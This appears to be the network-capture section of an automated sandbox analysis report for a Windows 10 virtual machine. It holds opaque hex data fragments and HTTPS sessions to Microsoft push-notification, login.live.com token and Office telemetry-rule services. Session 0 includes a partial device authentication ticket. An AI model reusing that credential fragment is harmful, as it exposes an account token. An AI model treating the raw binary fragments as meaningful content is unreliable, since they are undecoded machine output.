Nov 24, 2024 00:08:11.981776953 CET	1236	IN	Data Raw: 6c 58 d5 35 32 e9 ec 30 c9 33 2d 67 8d 44 e0 8e 61 aa e0 69 81 eb eb b3 1c 0e 6d b0 05 61 a5 d2 95 f0 86 b9 c3 20 bc d5 ce ac 83 bd 64 58 db 2c 97 61 fe 7d 35 eb 4f 30 ab 4c ac 6d b4 4c c4 0e 20 52 15 ab 48 c2 fd f4 13 08 de 6c ad ea 3f c5 b1 4b Data Ascii: lX5203-gDaima dX,a}5O0LmL RHl?K[kxXkaoJR60*{-= lp-]F<BZfv7G`(u/QL(es7SlmHdaJ>4I7<N\|kq0-
Nov 24, 2024 00:08:11.981784105 CET	1236	IN	Data Raw: 13 ba a1 ef 8d 6e 94 fc 8c 53 39 ad c4 c8 54 05 a1 72 e0 f1 31 a1 69 72 40 8a 0c 12 67 25 1d e5 0d 75 f3 9f fc ea 87 ee f8 9d 4d e6 fd 75 7c e4 09 ff 41 db 17 80 ec d0 de 5f 23 8d b9 79 53 cb c8 36 ea d3 09 1b c1 06 fb 57 7d ce 99 8d c2 b4 2f 0a Data Ascii: nS9Tr1ir@g%uMu\|A_#yS6W}/HfpmwldbAU-#n@b}lV@-JEq\| k7g".5vls-cMh5<{l .$Y\Cw\|o}9^G
Nov 24, 2024 00:08:11.981790066 CET	1236	IN	Data Raw: ac 6c 02 3a 10 db b5 64 69 b8 cd a6 f4 24 7c 64 a4 23 b9 3f 8b 3c be 28 54 05 2a a7 3b e3 57 83 ac e6 9e 2d 12 d2 03 f7 95 0f 95 51 5e 85 ec a9 1b 1c 74 6b 89 14 7c f7 7b e8 eb 7b f0 24 10 72 6c 63 15 cd 9d ab 50 65 58 92 9c 34 6c e2 37 0c 9c 31 Data Ascii: l:di$\|d#?<(T*;W-Q^tk\|{{$rlcPeX4l71),6dA9c8Tn(gkG!A&%hdi3 k'0pbA7M%!2&ihJ,vj+npigF_'#y"t8G([P
Nov 24, 2024 00:08:11.981827974 CET	1236	IN	Data Raw: 81 08 58 c3 5d 5a 1f cf d9 d0 44 d5 09 da ec 77 b2 a5 db 6f 0c b8 43 b1 8f fc 13 73 d1 a5 6d 93 1f 39 af a1 5f 02 e6 3d d7 69 95 e3 9d 9b 44 82 d5 b3 34 7d 67 e9 6b e8 cb 2e 27 dd e5 d1 17 9a e9 ae d1 7f ac 00 37 e8 d8 fb 8e ed ad d8 11 06 6e 2f Data Ascii: X]ZDwoCsm9_=iD4}gk.'7n/<t\udDxlUKcCO -jP%Wb)li,z.;4_o YRx+wse^RB"L&
Nov 24, 2024 00:08:11.981842995 CET	1236	IN	Data Raw: 13 63 d4 b6 f2 81 a2 42 c8 da 9a 9e 6a 20 db ec 9d 15 48 da c6 63 b0 16 46 aa f0 52 69 24 aa 0d f6 5a 19 c4 7a dc 8f 70 c0 0a 82 6b 12 d7 39 fb 40 03 6d 29 d9 c4 7f 8a ad 51 bb ce f1 de 7b 3a 69 cc e4 52 a7 8a 28 be a1 4c 1b 79 b5 4f 2c 28 33 8d Data Ascii: cBj HcFRi$Zzpk9@m)Q{:iR(LyO,(3p1]zY!x\ O^udG}zwk(A,03k\|wdbik'RL%}Fei.y.DVGUtw!c'?P
Nov 24, 2024 00:08:11.981857061 CET	556	IN	Data Raw: a4 dd f7 6a 6b 44 64 9f e9 7a 7a 70 6d 34 f0 9c 4f 99 c7 f9 9b 04 e0 e9 c7 62 dc ec 0d f4 83 72 33 f0 6b 91 29 b6 65 84 c9 bc 61 b6 07 3c e2 73 93 8f 66 ca 21 db ce 8e 3d 83 94 95 af 22 51 41 25 c9 7d 0e fe cf e3 55 2f 6f a1 d7 c9 1f ae 56 c8 94 Data Ascii: jkDdzzpm4Obr3k)ea<sf!="QA%}U/oV%=)2;o\aU3fJr-NdtXr?p0g!->\|KmV^(/)m-sk.&f/$zgAxlk-d}j`$_O?rC.f_#E
Nov 24, 2024 00:08:12.101460934 CET	1236	IN	Data Raw: 92 29 a6 da b6 36 3e 99 71 d0 51 2f b9 32 23 c8 c5 e7 dc a8 b3 48 95 e2 bd 67 3c db ad b1 37 f6 cd a8 c8 a7 71 a1 1c 90 ca 5c 80 de e4 4f 45 85 cd 64 9d fa be df 7d 98 ac 6c c0 b5 56 a2 f8 c3 18 24 f3 15 47 98 77 77 2f 26 78 d5 59 31 ad d4 8f 4b Data Ascii: )6>qQ/2#Hg<7q\OEd}lV$Gww/&xY1KBj`Gv,\|8K%c/+Y_cU67\|drj4V?,w$A_,jr&E* x`!lk~mN\|\in

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49714	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:13 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 32 34 6d 4c 4f 6d 4b 68 48 6b 53 30 66 73 4b 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 61 66 31 63 34 33 65 39 31 39 61 65 64 37 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 24mLOmKhHkS0fsKA.1Context: caf1c43e919aed7d
2024-11-23 23:06:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 23:06:13 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 32 34 6d 4c 4f 6d 4b 68 48 6b 53 30 66 73 4b 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 61 66 31 63 34 33 65 39 31 39 61 65 64 37 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 41 73 38 55 6c 4d 30 77 38 36 50 6e 44 55 43 67 54 61 38 72 6f 6b 47 4a 50 6d 39 4a 51 58 46 73 52 54 58 4d 4b 68 36 77 41 46 33 6e 47 51 2b 7a 72 62 47 70 50 58 61 4c 49 58 42 76 67 79 37 52 6d 65 54 72 68 38 4b 70 31 45 73 50 79 44 37 39 78 66 56 57 6f 64 6b 2f 72 74 4a 48 63 55 34 79 6f 71 7a 30 6b 43 72 52 48 6d 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 24mLOmKhHkS0fsKA.2Context: caf1c43e919aed7d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefAs8UlM0w86PnDUCgTa8rokGJPm9JQXFsRTXMKh6wAF3nGQ+zrbGpPXaLIXBvgy7RmeTrh8Kp1EsPyD79xfVWodk/rtJHcU4yoqz0kCrRHmW
2024-11-23 23:06:13 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 32 34 6d 4c 4f 6d 4b 68 48 6b 53 30 66 73 4b 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 61 66 31 63 34 33 65 39 31 39 61 65 64 37 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 24mLOmKhHkS0fsKA.3Context: caf1c43e919aed7d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 23:06:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 23:06:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 68 73 37 38 31 50 4d 6c 30 53 41 49 7a 55 61 57 59 4d 4f 2f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Dhs781PMl0SAIzUaWYMO/Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49715	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:15 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4811 Host: login.live.com
2024-11-23 23:06:15 UTC	4811	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 23:06:16 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 23:05:16 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 97509c2f-c602-411d-892e-88d4b866cb27 PPServer: PPV: 30 H: PH1PEPF00012005 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 23:06:15 GMT Connection: close Content-Length: 11177
2024-11-23 23:06:16 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:15 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4811 Host: login.live.com
2024-11-23 23:06:15 UTC	4811	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 23:06:16 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 23:05:16 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: 737855c6-b2fb-44c9-99dd-7c911b095afe PPServer: PPV: 30 H: SN1PEPF0002FA7C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 23:06:16 GMT Connection: close Content-Length: 11177
2024-11-23 23:06:16 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:20 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:20 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: ac3306f4-b01e-00ab-523b-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230620Z-15b8b599d88pxmdghC1TEBux9c00000003mg00000000m4rp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:20 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 23:06:20 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 23:06:21 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 23:06:21 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 23:06:21 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 23:06:21 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
